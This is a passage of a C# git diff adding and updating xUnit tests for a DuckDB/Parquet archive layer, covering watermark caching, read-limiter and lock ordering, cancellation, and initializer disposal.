+            return ((System.Collections.ICollection)typeof(ArchiveWatermarkCache)
+                .GetField("_entries", BindingFlags.Instance | BindingFlags.NonPublic)!
+                .GetValue(cache)!).Count;
+        }
+    }
+
+    private static string Ts(DateTime t) => $"TIMESTAMP '{t:yyyy-MM-dd HH:mm:ss}'";
+
+    /* The first call builds the store from the pre-built schema. A later call (the seed after a reset) used to run
+       the whole InitializeAsync again, ~80 table and index statements under the process-wide write lock, to get two
+       things: the archive views rebuilt over what the reset exported, and the archive view generation bumped so a
+       watermark cached before the reset is not reused. CreateArchiveViewsAsync does exactly those two and nothing
+       else (#5208). */
+    private bool _storeBuilt;
+
+    private async Task BuildOrRefreshStoreAsync()
+    {
+        if (!_storeBuilt)
+        {
+            await _duckDb.InitializeFromTemplateAsync();
+            _storeBuilt = true;
+        }
+        else
+        {
+            await _duckDb.CreateArchiveViewsAsync();
+        }
+    }
+
+    private async Task ExecuteAsync(params string[] statements)
+    {
+        await BuildOrRefreshStoreAsync();
+        using var connection = new DuckDBConnection($"Data Source={_dbPath}");
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        foreach (var sql in statements)
+        {
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = sql;
+            await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+    }
+
+    private Task ResetAsync() => new ArchiveService(_duckDb, _archiveDir, NullLogger<ArchiveService>.Instance).ArchiveAllAndResetAsync();
+
+    private static long _nextId = 1;
+
+    private static string QueryStore(int server, DateTime collected, string db, DateTime lastExecution) =>
+        $"INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, last_execution_time) VALUES ({Interlocked.Increment(ref _nextId)}, {Ts(collected)}, {server}, 'S{server}', '{db}', {Ts(lastExecution)})";
+
+    private static readonly string[] Databases = ["Active", "Idle", "Band", "LiveOnly", "ArchOnlyRecent", "Missing"];
+
+    /// <summary>
+    /// A store covering every shape the watermark read meets. Cold (Parquet): Active (old and recent), Idle (old
+    /// only), Band (two rows collected just after the floor whose values are older than it), ArchOnlyRecent, and
+    /// server 2's Active. Hot (live table) after the reset: Active (recent) and LiveOnly.
+    /// </summary>
+    private async Task SeedHotAndParquetAsync()
+    {
+        await ExecuteAsync(
+            QueryStore(1, Now.AddHours(-6), "Active", Now.AddHours(-6)),
+            QueryStore(1, Now.AddHours(-1), "Active", Now.AddHours(-1)),
+            QueryStore(1, Now.AddHours(-6), "Idle", Now.AddHours(-6)),
+            QueryStore(1, Now.AddHours(-6), "Idle", Now.AddHours(-6).AddMinutes(1)),
+            QueryStore(1, Floor.AddMinutes(5), "Band", Floor.AddMinutes(-20)),
+            QueryStore(1, Floor.AddMinutes(20), "Band", Floor.AddMinutes(-30)),
+            QueryStore(1, Now.AddHours(-2), "ArchOnlyRecent", Now.AddHours(-2)),
+            QueryStore(2, Now.AddHours(-6), "Active", Now.AddHours(-6)));
+        await ResetAsync();
+        await ExecuteAsync(
+            QueryStore(1, Now.AddMinutes(-10), "Active", Now.AddMinutes(-10)),
+            QueryStore(1, Now.AddMinutes(-5), "LiveOnly", Now.AddMinutes(-5)));
+    }
+
+    /// <summary>The answer the OLD per-database read gave, run straight against the view (the oracle).</summary>
+    private async Task<DateTime?> OldAnswerAsync(int serverId, string db, DateTime? since)
+    {
+        using var conn = _duckDb.CreateConnection();
+        await conn.OpenAsync(TestContext.Current.CancellationToken);
+
+        async Task<DateTime?> MaxAsync(string table, bool floored)
+        {
+            using var cmd = conn.CreateCommand();
+            cmd.CommandText = $"SELECT MAX({Column}) FROM {table} WHERE server_id = $1 AND database_name = $2"
+                + (floored ? " AND collection_time > $3" : "");
+            cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+            cmd.Parameters.Add(new DuckDBParameter { Value = db });
+            if (floored)
+                cmd.Parameters.Add(new DuckDBParameter { Value = since!.Value });
+            return await cmd.ExecuteScalarAsync(TestContext.Current.CancellationToken) is DateTime d ? d : null;
+        }
+
+        var live = await MaxAsync(Table, floored: since is not null);
+        var archived = await MaxAsync("v_" + Table, floored: false);
+        if (since is DateTime s && (archived is null || archived.Value <= s))
+            archived = await MaxAsync("v_" + Table, floored: true);
+        return live is null ? archived : archived is null ? live : (live >= archived ? live : archived);
+    }
+
+    [Fact]
+    public async Task ManyDatabases_OneGeneration_CostExactlyOneArchiveRead()
+    {
+        await SeedHotAndParquetAsync();
+        var reads = new Reads(_duckDb);
+
+        foreach (var db in Databases)
+            await reads.DatabaseTimeAsync(1, db, since: null, TestContext.Current.CancellationToken);
+        await reads.DatabaseTimeAsync(2, "Active", since: null, TestContext.Current.CancellationToken);
+
+        Assert.Equal(1, reads.ArchiveViewReadsForTests);
+    }
+
+    [Fact]
+    public async Task AGenerationBump_ReReadsOnce()
+    {
+        await SeedHotAndParquetAsync();
+        var reads = new Reads(_duckDb);
+
+        foreach (var db in Databases)
+            await reads.DatabaseTimeAsync(1, db, since: null, TestContext.Current.CancellationToken);
+        Assert.Equal(1, reads.ArchiveViewReadsForTests);
+
+        _duckDb.BumpArchiveViewGeneration();
+        foreach (var db in Databases)
+            await reads.DatabaseTimeAsync(1, db, since: null, TestContext.Current.CancellationToken);
+        Assert.Equal(2, reads.ArchiveViewReadsForTests);
+    }
+
+    [Fact]
+    public async Task EveryAnswer_EqualsTheOldPerDatabaseAnswer_OnAHotAndParquetStore()
+    {
+        await SeedHotAndParquetAsync();
+        var reads = new Reads(_duckDb);
+
+        DateTime?[] floors = [null, Floor, Floor.AddMinutes(-40), Floor.AddMinutes(2), Floor.AddMinutes(10),
+            Floor.AddMinutes(19), Floor.AddMinutes(25), Floor.AddMinutes(70), Now.AddHours(-1), Now];
+        foreach (var server in new[] { 1, 2, 3 })
+        {
+            foreach (var db in Databases)
+            {
+                foreach (var floor in floors)
+                {
+                    Assert.Equal(
+                        await OldAnswerAsync(server, db, floor),
+                        await reads.DatabaseTimeAsync(server, db, floor, TestContext.Current.CancellationToken));
+                }
+            }
+        }
+    }
+
+    [Fact]
+    public async Task AnUnknownDatabase_ReadsNull()
+    {
+        await SeedHotAndParquetAsync();
+        Assert.Null(await new Reads(_duckDb).DatabaseTimeAsync(1, "NoSuchDatabase", Floor, TestContext.Current.CancellationToken));
+        Assert.Null(await new Reads(_duckDb).DatabaseTimeAsync(1, "NoSuchDatabase", null, TestContext.Current.CancellationToken));
+    }
+
+    [Fact]
+    public async Task AnIdleDatabase_WithNoRowNewerThanTheFloor_ReadsNull_WithoutAFlooredArchiveRead()
+    {
+        /* #2344's contract on hot + parquet rows, and the read it no longer needs: the idle database's archived
+           and live rows are all 6 h old, the floor is 3 h, the map's newest collection is at or below the floor, so
+           the answer is NULL and the only archive read is the grouped one. */
+        await SeedHotAndParquetAsync();
+        await ExecuteAsync(QueryStore(1, Now.AddHours(-6), "Idle", Now.AddHours(-6)));
+        var reads = new Reads(_duckDb);
+
+        Assert.Null(await reads.DatabaseTimeAsync(1, "Idle", Floor, TestContext.Current.CancellationToken));
+        Assert.Equal(1, reads.ArchiveViewReadsForTests);
+    }
+
+    [Fact]
+    public async Task ADatabaseWithNoArchivedRow_NeverRunsAFlooredArchiveRead()
+    {
+        await SeedHotAndParquetAsync();
+        var reads = new Reads(_duckDb);
+
+        Assert.Equal(Now.AddMinutes(-5), await reads.DatabaseTimeAsync(1, "LiveOnly", Floor, TestContext.Current.CancellationToken));
+        Assert.Null(await reads.DatabaseTimeAsync(1, "Missing", Floor, TestContext.Current.CancellationToken));
+        Assert.Equal(1, reads.ArchiveViewReadsForTests);
+    }
+
+    [Fact]
+    public async Task TheFlooredBand_IsReadOncePerHour_AndFilteredExactlyInMemory()
+    {
+        /* Band: rows collected at Floor+5m (value Floor-20m) and Floor+20m (value Floor-30m); the archive's
+           maximum, Floor-20m, is below every floor used here, but a row collected after the floor exists. */
+        await SeedHotAndParquetAsync();
+        var reads = new Reads(_duckDb);
+
+        /* Floor+2m: both rows were collected after it, so the greater value, Floor-20m. */
+        Assert.Equal(Floor.AddMinutes(-20), await reads.DatabaseTimeAsync(1, "Band", Floor.AddMinutes(2), TestContext.Current.CancellationToken));
+        Assert.Equal(2, reads.ArchiveViewReadsForTests);
+
+        /* Floor+10m (same hour): only the second row qualifies, from the cached rows with no new read. */
+        Assert.Equal(Floor.AddMinutes(-30), await reads.DatabaseTimeAsync(1, "Band", Floor.AddMinutes(10), TestContext.Current.CancellationToken));
+        Assert.Equal(2, reads.ArchiveViewReadsForTests);
+
+        /* Floor+25m: neither row was collected after it. */
+        Assert.Null(await reads.DatabaseTimeAsync(1, "Band", Floor.AddMinutes(25), TestContext.Current.CancellationToken));
+        Assert.Equal(2, reads.ArchiveViewReadsForTests);
+    }
+
+    [Fact]
+    public async Task TheFlooredBand_AcrossHourBuckets_OverwritesItsEntryInsteadOfGrowingTheCache()
+    {
+        await SeedHotAndParquetAsync();
+        var reads = new Reads(_duckDb);
+
+        await reads.DatabaseTimeAsync(1, "Band", Floor.AddMinutes(2), TestContext.Current.CancellationToken);
+        var after = reads.CacheEntryCount();
+
+        /* Floor is 15:00, so Floor-15m (14:45) is in the 14:00 bucket and Floor+3m in the 15:00 one. */
+        Assert.Equal(Floor.AddMinutes(-20), await reads.DatabaseTimeAsync(1, "Band", Floor.AddMinutes(-15), TestContext.Current.CancellationToken));
+        Assert.Equal(after, reads.CacheEntryCount());
+        await reads.DatabaseTimeAsync(1, "Band", Floor.AddMinutes(3), TestContext.Current.CancellationToken);
+        Assert.Equal(after, reads.CacheEntryCount());
+    }
+
+    [Fact]
+    public async Task EightConcurrentDatabases_BehindAHeldLimiter_ShareOneRead()
+    {
+        await SeedHotAndParquetAsync();
+        var limiter = new ArchiveReadLimiter(1);
+        var reads = new Reads(_duckDb) { ArchiveReadLimiterForTests = limiter };
+
+        var held = await limiter.EnterAsync(CancellationToken.None);
+        var callers = Enumerable.Range(0, 8)
+            .Select(i => reads.DatabaseTimeAsync(1, Databases[i % Databases.Length], since: null, TestContext.Current.CancellationToken))
+            .ToArray();
+        await Task.Delay(300, TestContext.Current.CancellationToken);
+        Assert.All(callers, c => Assert.False(c.IsCompleted));
+
+        held.Dispose();
+        await Task.WhenAll(callers).WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+        Assert.Equal(1, reads.ArchiveViewReadsForTests);
+    }
+
+    private static ReaderWriterLockSlim DbLock() =>
+        (ReaderWriterLockSlim)typeof(DuckDbInitializer)
+            .GetField("s_dbLock", BindingFlags.Static | BindingFlags.NonPublic)!.GetValue(null)!;
+
+    [Fact]
+    public async Task AnArchiveRead_TakesTheLimiterBeforeTheReadLock()
+    {
+        await SeedHotAndParquetAsync();
+        var steps = new List<string>();
+        var dbLock = DbLock();
+        var reads = new Reads(_duckDb)
+        {
+            ArchiveReadStepForTests = step => steps.Add($"{step}:{(dbLock.IsReadLockHeld ? "read lock held" : "no read lock")}")
+        };
+
+        await reads.DatabaseTimeAsync(1, "Active", since: null, TestContext.Current.CancellationToken);
+
+        Assert.Equal(["limiter:no read lock", "readlock:read lock held", "read:read lock held"], steps);
+    }
+
+    [Fact]
+    public async Task ARead_WaitingForASlot_HoldsNoReadLock_SoAWriterIsNotParked()
+    {
+        await SeedHotAndParquetAsync();
+        var limiter = new ArchiveReadLimiter(1);
+        var reads = new Reads(_duckDb) { ArchiveReadLimiterForTests = limiter };
+
+        var held = await limiter.EnterAsync(CancellationToken.None);
+        var waiting = reads.TimeAsync(1, Table, Column, TestContext.Current.CancellationToken);
+        await Task.Delay(300, TestContext.Current.CancellationToken);
+        Assert.False(waiting.IsCompleted, "the read is waiting for a slot");
+
+        /* A writer (the CHECKPOINT) gets in at once: the waiting read took the limiter first and holds no read
+           lock. Acquired and released with no await between, because the lock is thread-affine. */
+        var writer = _duckDb.AcquireWriteLock(TimeSpan.FromSeconds(10));
+        writer.Dispose();
+
+        held.Dispose();
+        /* The server-wide maximum: LiveOnly's live row, five minutes before Now. */
+        Assert.Equal(Now.AddMinutes(-5), await waiting.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken));
+    }
+
+    [Fact]
+    public async Task ACancelledRead_LeavesTheQueue_AndTheSlotsAreUnchanged()
+    {
+        await SeedHotAndParquetAsync();
+        var limiter = new ArchiveReadLimiter(2);
+        var reads = new Reads(_duckDb) { ArchiveReadLimiterForTests = limiter };
+
+        var first = await limiter.EnterAsync(CancellationToken.None);
+        var second = await limiter.EnterAsync(CancellationToken.None);
+        using var cts = new CancellationTokenSource();
+        var waiting = reads.TimeAsync(1, Table, Column, cts.Token);
+        await Task.Delay(200, TestContext.Current.CancellationToken);
+        Assert.False(waiting.IsCompleted);
+
+        cts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            async () => await waiting.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken));
+        Assert.Equal(0, limiter.Available);
+        first.Dispose();
+        second.Dispose();
+        Assert.Equal(2, limiter.Available);
+    }
+
+    /* ---- The Query Store backfill's floor read, grouped (review check 5) ---- */
+
+    /// <summary>The old per-database floor answer, run straight against the live table and the view (the oracle).</summary>
+    private async Task<DateTime?> OldBackfillAnswerAsync(int serverId, string db, DateTime floorLimit)
+    {
+        using var conn = _duckDb.CreateConnection();
+        await conn.OpenAsync(TestContext.Current.CancellationToken);
+
+        async Task<object?> ScalarAsync(string sql)
+        {
+            using var cmd = conn.CreateCommand();
+            cmd.CommandText = sql;
+            cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+            cmd.Parameters.Add(new DuckDBParameter { Value = db });
+            cmd.Parameters.Add(new DuckDBParameter { Value = floorLimit });
+            return await cmd.ExecuteScalarAsync(TestContext.Current.CancellationToken);
+        }
+
+        var liveHit = await ScalarAsync($"SELECT 1 FROM {Table} WHERE server_id = $1 AND database_name = $2 AND collection_time <= $3 LIMIT 1") is not null;
+        using var archiveCmd = conn.CreateCommand();
+        archiveCmd.CommandText = $"SELECT MIN(collection_time), MIN({Column}) FROM v_{Table} WHERE server_id = $1 AND database_name = $2";
+        archiveCmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        archiveCmd.Parameters.Add(new DuckDBParameter { Value = db });
+        DateTime? oldest = null, archivedMin = null;
+        using (var reader = await archiveCmd.ExecuteReaderAsync(TestContext.Current.CancellationToken))
+        {
+            if (await reader.ReadAsync(TestContext.Current.CancellationToken))
+            {
+                oldest = reader.IsDBNull(0) ? null : reader.GetDateTime(0);
+                archivedMin = reader.IsDBNull(1) ? null : reader.GetDateTime(1);
+            }
+        }
+
+        if (liveHit || oldest <= floorLimit)
+            return floorLimit;
+        var liveMin = await ScalarAsync($"SELECT MIN({Column}) FROM {Table} WHERE server_id = $1 AND database_name = $2 AND collection_time > $3") as DateTime?;
+        return liveMin is DateTime l && archivedMin is DateTime a ? (l <= a ? l : a) : liveMin ?? archivedMin;
+    }
+
+    [Fact]
+    public async Task TheBackfillFloor_EqualsTheOldPerDatabaseAnswer_OnAHotAndParquetStore()
+    {
+        await SeedHotAndParquetAsync();
+        var reads = new Reads(_duckDb);
+
+        DateTime[] limits = [Now.AddHours(-10), Now.AddHours(-7), Now.AddHours(-6), Now.AddHours(-6).AddMinutes(30),
+            Now.AddHours(-4), Floor, Floor.AddMinutes(10), Now.AddHours(-2).AddMinutes(-1), Now.AddHours(-1), Now];
+        foreach (var server in new[] { 1, 2, 3 })
+        {
+            foreach (var db in Databases)
+            {
+                foreach (var limit in limits)
+                {
+                    Assert.Equal(
+                        await OldBackfillAnswerAsync(server, db, limit),
+                        await reads.BackfillFloorAsync(server, db, limit, TestContext.Current.CancellationToken));
+                }
+            }
+        }
+    }
+
+    [Fact]
+    public async Task TheBackfillFloor_ForManyDatabases_CostsExactlyOneArchiveRead_SharedWithTheWatermarkMap()
+    {
+        await SeedHotAndParquetAsync();
+        var reads = new Reads(_duckDb);
+
+        foreach (var db in Databases)
+            await reads.BackfillFloorAsync(1, db, Now.AddHours(-10), TestContext.Current.CancellationToken);
+        await reads.BackfillFloorAsync(2, "Active", Now.AddHours(-10), TestContext.Current.CancellationToken);
+        Assert.Equal(1, reads.ArchiveViewReadsForTests);
+
+        /* The same grouped read answers the watermark reads of the same table and columns. */
+        foreach (var db in Databases)
+            await reads.DatabaseTimeAsync(1, db, since: null, TestContext.Current.CancellationToken);
+        Assert.Equal(1, reads.ArchiveViewReadsForTests);
+    }
+
+    /* ---- Every caller: no lock while waiting for a slot, limiter before read lock, live read before the
+            generation sample (review F1 and F3) ---- */
+
+    public static IEnumerable<TheoryDataRow<string>> Callers() =>
+        new[] { "time", "database", "frame", "identity", "success", "backfill" }.Select(c => new TheoryDataRow<string>(c));
+
+    /// <summary>One call of the named caller, one that reaches its archive read on this store.</summary>
+    private static Task Call(Reads reads, string caller) => caller switch
+    {
+        "time" => reads.TimeAsync(1, Table, Column, TestContext.Current.CancellationToken),
+        "database" => reads.DatabaseTimeAsync(1, "Active", since: null, TestContext.Current.CancellationToken),
+        "frame" => reads.FrameAsync(1, TestContext.Current.CancellationToken),
+        "identity" => reads.IdentityAsync(1, TestContext.Current.CancellationToken),
+        "success" => reads.SuccessAsync(1, "no_such_collector", TestContext.Current.CancellationToken),
+        "backfill" => reads.BackfillFloorAsync(1, "Active", Now.AddHours(-10), TestContext.Current.CancellationToken),
+        _ => throw new ArgumentOutOfRangeException(nameof(caller), caller, null)
+    };
+
+    [Theory]
+    [MemberData(nameof(Callers))]
+    public async Task EveryCaller_WaitingForASlot_HoldsNoReadLock_SoAWriterIsNotParked(string caller)
+    {
+        await SeedHotAndParquetAsync();
+        var limiter = new ArchiveReadLimiter(1);
+        var reads = new Reads(_duckDb) { ArchiveReadLimiterForTests = limiter };
+
+        var held = await limiter.EnterAsync(CancellationToken.None);
+        var waiting = Call(reads, caller);
+        await Task.Delay(300, TestContext.Current.CancellationToken);
+        Assert.False(waiting.IsCompleted, $"{caller} is waiting for a slot");
+
+        /* Acquired and released with no await between, because the lock is thread-affine. */
+        var writer = _duckDb.AcquireWriteLock(TimeSpan.FromSeconds(10));
+        writer.Dispose();
+
+        held.Dispose();
+        await waiting.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+    }
+
+    [Theory]
+    [MemberData(nameof(Callers))]
+    public async Task EveryCaller_TakesTheLimiterBeforeTheReadLock(string caller)
+    {
+        await SeedHotAndParquetAsync();
+        var steps = new List<string>();
+        var dbLock = DbLock();
+        var reads = new Reads(_duckDb)
+        {
+            ArchiveReadStepForTests = step => steps.Add($"{step}:{(dbLock.IsReadLockHeld ? "read lock held" : "no read lock")}")
+        };
+
+        await Call(reads, caller);
+
+        Assert.Equal(["limiter:no read lock", "readlock:read lock held", "read:read lock held"], steps);
+    }
+
+    [Theory]
+    [MemberData(nameof(Callers))]
+    public async Task EveryCaller_SamplesTheGenerationWithNoLockHeld(string caller)
+    {
+        await SeedHotAndParquetAsync();
+        var dbLock = DbLock();
+        var samples = new List<bool>();
+        var reads = new Reads(_duckDb) { ArchiveGenerationSampledForTests = () => samples.Add(dbLock.IsReadLockHeld) };
+
+        await Call(reads, caller);
+
+        Assert.Equal([false], samples);
+    }
+
+    /// <summary>Inserts into the live tables WITHOUT <c>InitializeAsync</c>, which rebuilds the views and bumps the archive generation.</summary>
+    private async Task InsertHotAsync(params string[] statements)
+    {
+        using var connection = new DuckDBConnection($"Data Source={_dbPath}");
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        foreach (var sql in statements)
+        {
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = sql;
+            await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+    }
+
+    /// <summary>
+    /// A hot row appears AFTER the cache was warmed, and the archive-and-reset moves it to Parquet at the moment the
+    /// archive read has sampled the generation (the cached answer is now one generation stale, and a cache hit takes
+    /// no lock). The answer must still include the row: only a caller that read live BEFORE that point sees it.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(Callers))]
+    public async Task EveryCaller_ReadsLiveBeforeTheArchiveGenerationIsSampled(string caller)
+    {
+        await SeedHotAndParquetAsync();
+        var reads = new Reads(_duckDb);
+        var recent = Now.AddMinutes(-1);
+
+        /* Warm the cache for this caller at the current generation. */
+        await Call(reads, caller);
+
+        var armed = false;
+        reads.ArchiveGenerationSampledForTests = () =>
+        {
+            if (!armed)
+                return;
+            armed = false;
+            Task.Run(ResetAsync).GetAwaiter().GetResult();
+        };
+
+        switch (caller)
+        {
+            case "time":
+                await InsertHotAsync(QueryStore(1, recent, "Active", recent));
+                armed = true;
+                Assert.Equal(recent, await reads.TimeAsync(1, Table, Column, TestContext.Current.CancellationToken));
+                break;
+            case "database":
+                await InsertHotAsync(QueryStore(1, recent, "Active", recent));
+                armed = true;
+                Assert.Equal(recent, await reads.DatabaseTimeAsync(1, "Active", since: null, TestContext.Current.CancellationToken));
+                break;
+            case "frame":
+                await InsertHotAsync(QueryStore(1, recent, "Active", recent));
+                armed = true;
+                Assert.Equal((recent, true), await reads.FrameAsync(1, TestContext.Current.CancellationToken));
+                break;
+            case "identity":
+            {
+                await InsertHotAsync(QueryStore(1, recent, "Active", recent));
+                long newest;
+                using (var conn = _duckDb.CreateConnection())
+                {
+                    await conn.OpenAsync(TestContext.Current.CancellationToken);
+                    using var cmd = conn.CreateCommand();
+                    cmd.CommandText = $"SELECT MAX(collection_id) FROM {Table}";
+                    newest = Convert.ToInt64(await cmd.ExecuteScalarAsync(TestContext.Current.CancellationToken));
+                }
+
+                armed = true;
+                Assert.Equal(newest, await reads.IdentityAsync(1, TestContext.Current.CancellationToken));
+                break;
+            }
+            case "success":
+                await InsertHotAsync(
+                    $"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status) VALUES (9001, 1, 'S1', 'no_such_collector', {Ts(recent)}, 'SUCCESS')");
+                armed = true;
+                Assert.True(await reads.SuccessAsync(1, "no_such_collector", TestContext.Current.CancellationToken));
+                break;
+            case "backfill":
+                /* ArchOnlyRecent's archived rows start at Now-2h, above the limit; the new hot row is older still. */
+                await InsertHotAsync(QueryStore(1, recent, "ArchOnlyRecent", Now.AddHours(-4)));
+                armed = true;
+                Assert.Equal(Now.AddHours(-4), await reads.BackfillFloorAsync(1, "ArchOnlyRecent", Now.AddHours(-3), TestContext.Current.CancellationToken));
+                break;
+            default:
+                throw new ArgumentOutOfRangeException(nameof(caller), caller, null);
+        }
+    }
+}
+
+/// <summary>#5377: the forced-plan alert's read of <c>v_query_store_stats</c> shares the archive-read limit.</summary>
+public sealed class ForcePlanArchiveReadLimitTests : IClassFixture<SharedDuckDbFixture>
+{
+    private readonly DuckDbInitializer _duckDb;
+
+    public ForcePlanArchiveReadLimitTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    [Fact]
+    public async Task TheForcedPlanRead_WaitsForASlot_ThenTakesTheLimiterBeforeTheReadLock()
+    {
+        var limiter = new ArchiveReadLimiter(1);
+        var steps = new List<string>();
+        var dbLock = (ReaderWriterLockSlim)typeof(DuckDbInitializer)
+            .GetField("s_dbLock", BindingFlags.Static | BindingFlags.NonPublic)!.GetValue(null)!;
+        var service = new LocalDataService(_duckDb)
+        {
+            ArchiveReadLimiterForTests = limiter,
+            ArchiveReadStepForTests = step => steps.Add($"{step}:{(dbLock.IsReadLockHeld ? "read lock held" : "no read lock")}")
+        };
+
+        var held = await limiter.EnterAsync(CancellationToken.None);
+        var read = service.GetForcePlanFailuresAsync(1, TestContext.Current.CancellationToken);
+        await Task.Delay(250, TestContext.Current.CancellationToken);
+        Assert.False(read.IsCompleted, "the read must wait while the only slot is held");
+        Assert.Empty(steps);
+
+        held.Dispose();
+        Assert.Empty(await read.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken));
+        Assert.Equal(["limiter:no read lock", "readlock:read lock held"], steps);
+        Assert.Equal(1, limiter.Available);
+    }
+
+    [Fact]
+    public async Task ACancelledForcedPlanRead_LeavesTheQueue_AndReleasesNothingItDidNotTake()
+    {
+        var limiter = new ArchiveReadLimiter(2);
+        var service = new LocalDataService(_duckDb) { ArchiveReadLimiterForTests = limiter };
+
+        var first = await limiter.EnterAsync(CancellationToken.None);
+        var second = await limiter.EnterAsync(CancellationToken.None);
+        using var cts = new CancellationTokenSource();
+        var read = service.GetForcePlanFailuresAsync(1, cts.Token);
+        await Task.Delay(150, TestContext.Current.CancellationToken);
+        Assert.False(read.IsCompleted);
+
+        cts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            async () => await read.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken));
+        first.Dispose();
+        Assert.Equal(1, limiter.Available);
+        second.Dispose();
+        Assert.Equal(2, limiter.Available);
+    }
+}
diff --git a/Lite.Tests/ArchiveResetExportTests.cs b/Lite.Tests/ArchiveResetExportTests.cs
index 90b322d9b0..fec01c563f 100644
--- a/Lite.Tests/ArchiveResetExportTests.cs
+++ b/Lite.Tests/ArchiveResetExportTests.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.IO;
 using System.Linq;
 using System.Threading.Tasks;
@@ -31,6 +32,8 @@ class joins the serialized collection CollectionResetGateTests defines. */
 [Collection("CollectionResetGate")]
 public sealed class ArchiveResetExportTests : IDisposable
 {
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     private readonly string _tempDir;
     private readonly string _dbPath;
     private readonly string _archiveDir;
@@ -46,6 +49,11 @@ public ArchiveResetExportTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -79,7 +87,8 @@ private async Task<long> CountAsync(string table)
     private async Task<DuckDbInitializer> SeedAsync()
     {
         var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
 
         await ExecAsync(@"
 INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status)
diff --git a/Lite.Tests/ArchiveResetRestoreByNameTests.cs b/Lite.Tests/ArchiveResetRestoreByNameTests.cs
index 12573efe64..3de050235a 100644
--- a/Lite.Tests/ArchiveResetRestoreByNameTests.cs
+++ b/Lite.Tests/ArchiveResetRestoreByNameTests.cs
@@ -37,6 +37,7 @@ public ArchiveResetRestoreByNameTests()
 
     public void Dispose()
     {
+        _duckDb.Dispose();
         CollectionResetGate.ResetForTests();
         try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
         catch { /* best-effort */ }
@@ -46,7 +47,7 @@ public void Dispose()
 
     private async Task SeedAsync(params string[] statements)
     {
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         using var connection = _duckDb.CreateConnection();
         await connection.OpenAsync();
         foreach (var sql in statements)
diff --git a/Lite.Tests/ArchiveResetRestoresStateTests.cs b/Lite.Tests/ArchiveResetRestoresStateTests.cs
index 414227b475..77e80b9b24 100644
--- a/Lite.Tests/ArchiveResetRestoresStateTests.cs
+++ b/Lite.Tests/ArchiveResetRestoresStateTests.cs
@@ -49,6 +49,7 @@ public ArchiveResetRestoresStateTests()
 
     public void Dispose()
     {
+        _duckDb.Dispose();
         ArchiveService.AfterPreservedTableRestoredForTests = null;
         ArchiveService.BetweenPreserveCopyAndResetForTests = null;
         ArchiveService.BeforeDatabaseFileResetForTests = null;
@@ -90,7 +91,7 @@ public Task<bool> PriorSuccessAsync(int serverId, string collector) =>
 
     private async Task SeedAsync(params string[] statements)
     {
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         using var connection = new DuckDBConnection($"Data Source={_dbPath}");
         await connection.OpenAsync(TestContext.Current.CancellationToken);
         foreach (var sql in statements)
@@ -691,7 +692,10 @@ public async Task UnreadableRestoreMarker_KeepsTheCopy_AndLogsAnError(string mar
         File.WriteAllText(marker, markerContent);
         var log = new CapturingLogger();
 
-        await new DuckDbInitializer(_dbPath, log).InitializeAsync();
+        using (var initializer = new DuckDbInitializer(_dbPath, log))
+        {
+            await initializer.InitializeAsync();
+        }
 
         Assert.True(Directory.Exists(dir), "an unreadable marker must not make startup delete the preserved copy");
         Assert.True(File.Exists(Path.Combine(dir, "config_mute_rules.parquet")));
diff --git a/Lite.Tests/ArchiveResetRetryClockStepTests.cs b/Lite.Tests/ArchiveResetRetryClockStepTests.cs
index 716160afee..8296b4f49e 100644
--- a/Lite.Tests/ArchiveResetRetryClockStepTests.cs
+++ b/Lite.Tests/ArchiveResetRetryClockStepTests.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.IO;
 using System.Runtime.CompilerServices;
 using System.Text.RegularExpressions;
@@ -32,6 +33,8 @@ class joins the serialized collection CollectionResetGateTests defines. */
 [Collection("CollectionResetGate")]
 public sealed class ArchiveResetRetryClockStepTests : IDisposable
 {
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     private readonly string _tempDir;
     private readonly string _dbPath;
     private readonly string _archiveDir;
@@ -47,6 +50,11 @@ public ArchiveResetRetryClockStepTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -63,7 +71,8 @@ public void Dispose()
     private async Task<(ArchiveService Service, Func<int> ExportsStarted)> FailingServiceAsync()
     {
         var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
 
         using (var connection = new DuckDBConnection($"Data Source={_dbPath}"))
         {
